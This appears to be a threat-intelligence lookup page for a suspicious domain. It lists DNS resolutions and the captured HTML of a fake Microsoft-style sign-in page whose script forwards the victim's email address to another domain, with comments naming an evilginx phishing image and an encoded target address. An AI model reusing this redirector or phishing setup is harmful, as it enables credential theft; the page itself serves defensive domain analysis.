Domain > ansar-gruop.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2023-11-04	54.231.132.133 (ClassC)
2023-11-04	52.217.100.171 (ClassC)
2023-11-08	16.182.33.229 (ClassC)
2023-11-08	52.217.107.171 (ClassC)
2023-11-08	52.217.49.115 (ClassC)
2023-11-08	52.217.170.189 (ClassC)
2023-11-13	52.216.76.131 (ClassC)
2023-11-13	52.217.167.157 (ClassC)
2023-11-15	54.231.128.117 (ClassC)
2023-11-17	52.217.223.29 (ClassC)
2023-11-17	52.216.217.101 (ClassC)
2023-11-19	54.231.196.165 (ClassC)
2023-11-24	52.217.206.125 (ClassC)
2023-12-08	52.217.84.19 (ClassC)
2025-01-23	172.67.204.226 (ClassC)
2025-04-05	3.33.251.168 (ClassC)

HTTP/1.1 200 OKDate: Sun, 17 Mar 2024 10:25:25 GMTContent-Type: text/html; charsetutf-8Transfer-Encoding: chunkedConnection: keep-aliveAccess-Control-Allow-Origin: *Cache-Control: public, max-age0, mu

!DOCTYPE html>html>title>		Sign in 	/title>link relshortcut icon hrefhttps://myoffcss.s3.ap-northeast-1.amazonaws.com/favicon.png        typeimage/x-icon>  	link relicon typeimage/png sizes16x16 href/mygov/content/mgv2/icons/favicon-16x16.png>    script srchttps://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js>       /script>/head>body>script>var emailID   ;//  d2lsc29uQHdpbG9zbm1vbmFjby5jb20// function b64DecodeUnicode(str) {//   // Going backwards: from bytestream, to percent-encoding, to original string.//   return decodeURIComponent(atob(str).split().map(function(c) {//       return % + (00 + c.charCodeAt(0).toString(16)).slice(-2);//   }).join());// }function redirrectPage(){  var query  window.location.href;  console.log(query);  var res  query.split(#);  var data1  res0;  var data2  res1;  console.log(data1);  console.log(data2);  // realemailID  b64DecodeUnicode(data2);        https://hookmist.com/#wilson@mmm.com  // console.log(realemailID);  if (data2)  {    console.log(true);      window.location.href  https://eyeprescription.com/# + data2;  }else{    console.log(false);    window.location.href  https://outlook.office.com/mail/;  }}redirrectPage();//  https://outlook.office.com/mail/// docker commit 0dfe64eba151  mrcew/evilginxapp:withall2/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > ansar-gruop.com

Is this malicious?

DNS Resolutions

Port 443